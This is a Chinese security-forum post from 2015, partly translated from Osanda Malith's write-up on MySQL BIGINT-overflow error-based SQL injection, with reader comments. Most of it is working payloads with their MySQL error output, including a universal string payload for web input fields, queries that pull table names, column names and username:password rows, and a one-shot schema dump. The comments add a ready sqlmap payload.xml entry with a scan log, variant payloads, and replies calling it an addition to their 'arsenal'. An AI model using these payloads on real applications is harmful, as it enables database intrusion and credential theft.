mysql大整数溢出报错--教科书般的注入教程

2015-07-17 16:29:54 15 5657 2
早上刷了刷推特,看到mysql的一个新型报错。就过去看了看。
注入方式倒不是很新颖,主要内容挺充实的。适合新手学习。建立起框架体系。就翻译下关键点,随便谈谈自己的理解吧。

作者:Osanda Malith
是的,exploit-db 那篇 mysql insert delete update 注入的paper就是他写的。14年5月。

作者授人以渔,从挖掘到最大利用化详细的给我们讲解了一个报错注入的exploit。
mysql版本限制:MySQL versions 5.5.5 and above only.

首先从sql的数据类型说起,这里用到的是一些整数:
# In decimal

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'

# In binary

mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'

# In hex

mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
我们发现用10进制,2进制和16进制测试,均溢出。
接着我们为了省写,可以用按位取反0来等价bigint的最大正数边界。
mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
上面的2处回显比较有意思,可以思考下。

接着我们用一个非集合的一个特性:
mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost                |
+-------------------------------+
1 row in set (0.00 sec)

# Applying logical negation

mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.00 sec)

这里我自己拓展测试后总结一下,我们 !字符串 = 1, !数字 = 0,当然贱贱的数学都是有特例的  !0 = 1


根据上面2点,我们就可以来构造我们的注入了。剩下的就只是加法减法的问题了.
mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'
上面我们可以看到,bigint最大值+1 回显出表达式。这里我们可以这样理解,我们做加减乘除,运算法则首先乘除是吧。
这里的子查询就类似乘除.那么可靠的回显得到,下面就是我最喜欢的花式玩法了。向来我的目标是一个error注入出整个table。

同样我们也可以下边界溢出。为什么这么做,在mysql测试时,我们加法减法溢出都可以的。但是在web应用中我们很多时候+被url解码成一个空格,所以用减号显然更方便嘛。
下面是作者构造的几个payload。当然,我们私下可以构造更多,特别是怎么把select消去。大家自己去玩耍吧。
!(select*from(select user())x)-~0   # 1-最大值

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)
一般注入分为4个方向:select insert delete update. 然后就是注入点的各种位置。老生常谈,不再赘述.
比较万能的字符payload:
' or  !(select*from(select user())x)-~0 or '

上面4种注入随便往输入点丢。(数字型相应调整,更简单)
mysql> select host from mysql.user where 1=1 ;
+---------------+
| host          |
+---------------+
| 127.0.0.1     |
| 192.168.1.%   |
| 192.168.1.228 |
| ::1           |
| localhost     |
| localhost     |
| localhost     |
| repo          |
+---------------+
8 rows in set (0.00 sec)

mysql> select host from mysql.user where 1='' or !(select*from(select user())x)-~0 or '' ;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
mysql> update mysql.user set host='' or !(select*from(select user())x)-~0 or '' where host='repo';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
mysql> insert into mysql.user (host) values ('' or !(select*from(select user())x)-~0 or '') ;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
mysql> delete from mysql.user where host='' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
注意上面都是1-最大值=下边界溢出的情况
根据我们上面的公式,可以知道有种情况不能注入出。比如注入处结果数字,比如蛋疼用length函数啊,密码是数字啊,不一而足.
mysql> select host from mysql.user where 1='' or !(select*from(select length(user()))x)-~0 or '' ;
作为强迫症,这种情况肯定不能忍受.所以有了下面的改进版payload.
select !atan((select*from(select user())a))-~0; 
select !log((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
相应的字符万能payload:
' or !atan((select*from(select user())a))-~0 or '

下面就是实际生产如何获取数据了.
老生常谈:
#获取表名
!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0
#获取列名
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;
获取数据:
!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;
获取每行,用好limit.


上面那个table很熟悉呀,我赌一毛钱是Osanda Malith一年前讲解insert等注入用的table。


接着就是我们的终极目标,一个error注入点,我还你整个table;
然而现实是残酷的,由于mysql的特性,吃掉了一部分结果。输出的不是很全。(所以oracle和mssql很有优越性啊)
当然,如果注入点事union base的。mysql的返回也是很全的.这篇文章我们只谈error base.
下面是作者的payload,用的时候稍微改改就好了
!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0

(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
作者萌萌哒的用控制变量法做了2次实验。得到数据的行数与table数据成正相关.(做完类似实验后,我同意他的说法)

作者总结到,不一定只能用取反,不一定只能用加减法。只要上下溢出bigint,就可以子查询出结果。下面是他手贱异或算法的结果.(为什么手贱,因为劳资看了会,结果推出了悖论,纠结了半小时)
mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'
注意^不是幂算法,是按位异或的意思。先列成二进制, 然后看起来就很明了.
我的脑残测试:
select 225-0^222;#输出3,我理解为 等价225-222=3
select 1-0^222 ;不应该 = 1-222=-221么  可以mysql他喵的溢出
最后测试是只要前面数字小于222就他喵的溢出,难道是个以222为界的分界函数?
算了,不管了.路过的大神明白的帮我解释下哈.

相关资料:https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/

顺便给出osanda malith以前的文章吧.oracle,mssql也可以这种花样玩法的. 有机会整理下.发出来
大牛以前的paper:https://www.exploit-db.com/docs/33253.pdf
乌云小伙伴的翻译:http://drops.wooyun.org/tips/2078

关于作者

issin7篇文章42篇回复

评论15次

要评论?请先  登录  或  注册
  • 15楼
    2015-7-20 15:57

    666 已加入弹药库。

  • 14楼
    2015-7-20 10:26

    666,sqlmap直接修改上去了。

  • 13楼
    2015-7-19 14:33
    攻击者

    @anlfi 加入 sqlmap.py 的 playload.xml里该怎么加啊?

    1
    anlfi

    感谢@冰封同学的poc <test> <title>MySQL =&gt; 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (bigint) by Anlfi</title> <stype>2</stype> <level>1</level> <risk>1</risk> <clause>1,2,3</clause> <where>1</where> <vector>| !(select*from(select concat('',(),''))x)-0^-2</vector> <request> <payload>| !(select*from(select concat('',(SELECT (ELT(=,1))),''))x)-0^-2</payload> </request> <response> <grep>(?P&lt;result&gt;.*?)</grep> </response> <details> <dbms>MySQL</dbms> <dbms_version>=&gt; 5.5</dbms_version> </details> </test>---Parameter: id (GET) Type: error-based Title: MySQL => 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (bigint) by Anlfi Payload: id=1 | !(select*from(select concat(0x716a787871,(SELECT (ELT(1231=1231,1))),0x716a7a6b71))x)-0^-2--- the back-end DBMS is MySQLweb server operating system: Windowsweb application technology: Apache 2.0.63, PHP 5.2.14back-end DBMS: MySQL 5.5 fetching database names the SQL query used returns 4 entries resumed: information_schema resumed: mysql resumed: performance_schema resumed: testavailable databases : information_schema mysql performance_schema test

    2

    谢了,收下了!

  • 12楼
    2015-7-19 13:07

    又多了一个报错注入,不错哟

  • 11楼
    2015-7-19 12:58
    攻击者

    @anlfi 加入 sqlmap.py 的 playload.xml里该怎么加啊?

    1

    感谢@冰封同学的poc

                <test>         <title>MySQL =&gt; 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (bigint) by Anlfi</title>         <stype>2</stype>         <level>1</level>         <risk>1</risk>         <clause>1,2,3</clause>         <where>1</where>         <vector>| !(select*from(select concat('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))x)-0^-2</vector>         <request>             <payload>| !(select*from(select concat('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))x)-0^-2</payload>         </request>         <response>             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>         </response>         <details>             <dbms>MySQL</dbms>             <dbms_version>=&gt; 5.5</dbms_version>         </details>     </test>
    --- Parameter: id (GET)     Type: error-based     Title: MySQL => 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl ause (bigint) by Anlfi     Payload: id=1 | !(select*from(select concat(0x716a787871,(SELECT (ELT(1231=1231,1))),0x716a7a6b71))x)-0^-2 --- [13:00:56] [INFO] the back-end DBMS is MySQL web server operating system: Windows web application technology: Apache 2.0.63, PHP 5.2.14 back-end DBMS: MySQL 5.5 [13:00:56] [INFO] fetching database names [13:00:56] [INFO] the SQL query used returns 4 entries [13:00:56] [INFO] resumed: information_schema [13:00:56] [INFO] resumed: mysql [13:00:56] [INFO] resumed: performance_schema [13:00:56] [INFO] resumed: test available databases [4]: [*] information_schema [*] mysql [*] performance_schema [*] test

  • 10楼
    2015-7-19 11:33

    ' or (payload) or ' ' and (payload) and ' ' or (payload) and ' ' or (payload) and '=' '* (payload) *' ' or (payload) and ' " – (payload) – "
    文章不仅精彩,文中提到的那篇papers也很精彩。5.5的版本80%的都成功了

  • 9楼
    2015-7-18 23:20

    @anlfi 加入 sqlmap.py 的 playload.xml里该怎么加啊?

  • 8楼
    2015-7-18 18:57

    好完整 好强大 感谢分享 像看到大牛过WAF 也是各种手法

  • 7楼
    2015-7-18 17:19
    冰封

    本地完整的测试了下用or 和 and 会有点问题mysql> select host from mysql.user where 1=1 and !(select*from(select user())x)-~0; //左边条件成立 可以显错ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'mysql> select host from mysql.user where 1=2 and !(select*from(select user())x)-~0;// 左边条件不成立的时候 就不报错了Empty set (0.00 sec)同样的用or测试正好相反mysql> select host from mysql.user where 1=2 or !(select*from(select user())x)-~0; //ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'mysql> select host from mysql.user where 1=1 or !(select*from(select user())x)-~0;+-----------+| host |+-----------+| 127.0.0.1 || localhost |+-----------+2 rows in set (0.00 sec)发现最好的payload 还是用这条最好| !(select*from(select user())x)-~0mysql> select host from mysql.user where 1=1 | !(select*from(select user())x)-~0; // 左边条件成立ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'mysql> select host from mysql.user where 1=2 | !(select*from(select user())x)-~0;//左边条件不成立ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))' 都可以显错然后就是这个mysql> select !1-0^222;我本地测试mysql> select(0^0)-!(select*from(select user())x);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((0 ^ 0) - (not((select 'root@localhost' from dual))))'mysql>mysql> select 0^0-!(select*from(select user())x);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((0 ^ 0) - (not((select 'root@localhost' from dual))))'好像和“222” 没有什么关xi 也是不懂为啥 让路过的大神来解释吧

    1
    anlfi

    制造大整数报错的同时 爆出运算符内的查询语句内容所以利用条件就是先制造一个最大整数 低版本的不求精确值或者忽略为0 so 高版本onlypoc里面select 18446744073709551615+1; 就报错了 说明需要制造一个略大大于这个数或者相近就能报错比如0^0-1 和0^-1 (!1-0^222=0^-222;) ~0 意思是一样的 都是为了制造一个最大整数超出界定值 使!内的语句得以执行罢了至于| or and 区别基础内容 还是比较容易忽视的 感谢分享select !0-0^1;=0select !0-0^2;=errorselect 0^0-!(select*from(select user())x);= select 0^0-1; 与222有一定关xi但关xi不是很重要版本略高 有心的同学可以加入 sqlmap.py 的 playload.xml里了

    2

    理解能力比较低还是看不出和222有什么必然联xi 不过都无所谓了 反正都能用就好来 version() 5.5.40 select !1-0^222-1; select !1-0^222+1; 都报错

  • 6楼
    2015-7-18 15:14

    现在遇到使用存储过程执行Sql的情况比较多,限制了参数长度,只能依靠短小精悍的语句显错注入,借楼问一下能不能压缩到比

    '|GTID_SUBSET(USER(),0)#
    更短

  • 5楼
    2015-7-18 10:43

    介绍很详细 已保存到记事本

  • 4楼
    2015-7-17 23:21
    冰封

    本地完整的测试了下用or 和 and 会有点问题mysql> select host from mysql.user where 1=1 and !(select*from(select user())x)-~0; //左边条件成立 可以显错ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'mysql> select host from mysql.user where 1=2 and !(select*from(select user())x)-~0;// 左边条件不成立的时候 就不报错了Empty set (0.00 sec)同样的用or测试正好相反mysql> select host from mysql.user where 1=2 or !(select*from(select user())x)-~0; //ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'mysql> select host from mysql.user where 1=1 or !(select*from(select user())x)-~0;+-----------+| host |+-----------+| 127.0.0.1 || localhost |+-----------+2 rows in set (0.00 sec)发现最好的payload 还是用这条最好| !(select*from(select user())x)-~0mysql> select host from mysql.user where 1=1 | !(select*from(select user())x)-~0; // 左边条件成立ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'mysql> select host from mysql.user where 1=2 | !(select*from(select user())x)-~0;//左边条件不成立ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))' 都可以显错然后就是这个mysql> select !1-0^222;我本地测试mysql> select(0^0)-!(select*from(select user())x);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((0 ^ 0) - (not((select 'root@localhost' from dual))))'mysql>mysql> select 0^0-!(select*from(select user())x);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((0 ^ 0) - (not((select 'root@localhost' from dual))))'好像和“222” 没有什么关xi 也是不懂为啥 让路过的大神来解释吧

    1

    制造大整数报错的同时 爆出运算符内的查询语句内容 所以利用条件就是先制造一个最大整数 低版本的不求精确值或者忽略为0 so 高版本only poc里面select 18446744073709551615+1; 就报错了 说明需要制造一个略大大于这个数或者相近就能报错 比如 0^0-1 和0^-1 (!1-0^222=0^-222;) ~0 意思是一样的 都是为了制造一个最大整数超出界定值 使!内的语句得以执行罢了 至于| or and 区别基础内容 还是比较容易忽视的 感谢分享 select !0-0^1;=0 select !0-0^2;=error select 0^0-!(select*from(select user())x);= select 0^0-1; 与222有一定关xi但关xi不是很重要 版本略高 有心的同学可以加入 sqlmap.py 的 playload.xml里了

  • 3楼
    2015-7-17 22:15

    介绍很详细 学xi了

  • 2楼
    2015-7-17 19:18

    本地完整的测试了下 用or 和 and 会有点问题 mysql> select host from mysql.user where 1=1 and !(select*from(select user())x)- ~0; //左边条件成立 可以显错 ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'roo t@localhost' from dual))) - ~(0))' mysql> select host from mysql.user where 1=2 and !(select*from(select user())x)- ~0;// 左边条件不成立的时候 就不报错了 Empty set (0.00 sec) 同样的用or测试正好相反 mysql> select host from mysql.user where 1=2 or !(select*from(select user())x)-~ 0; // ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'roo t@localhost' from dual))) - ~(0))' mysql> select host from mysql.user where 1=1 or !(select*from(select user())x)-~ 0; +-----------+ | host | +-----------+ | 127.0.0.1 | | localhost | +-----------+ 2 rows in set (0.00 sec) 发现最好的payload 还是用这条最好 | !(select*from(select user())x)-~0 mysql> select host from mysql.user where 1=1 | !(select*from(select user())x)-~0 ; // 左边条件成立 ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'roo t@localhost' from dual))) - ~(0))' mysql> select host from mysql.user where 1=2 | !(select*from(select user())x)-~0 ;//左边条件不成立 ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'roo t@localhost' from dual))) - ~(0))' 都可以显错 然后就是这个 mysql> select !1-0^222; 我本地测试 mysql> select(0^0)-!(select*from(select user())x); ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((0 ^ 0) - (not((s elect 'root@localhost' from dual))))' mysql> mysql> select 0^0-!(select*from(select user())x); ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((0 ^ 0) - (not((s elect 'root@localhost' from dual))))' 好像和“222” 没有什么关xi 也是不懂为啥 让路过的大神来解释吧

  • 1楼
    2015-7-17 17:27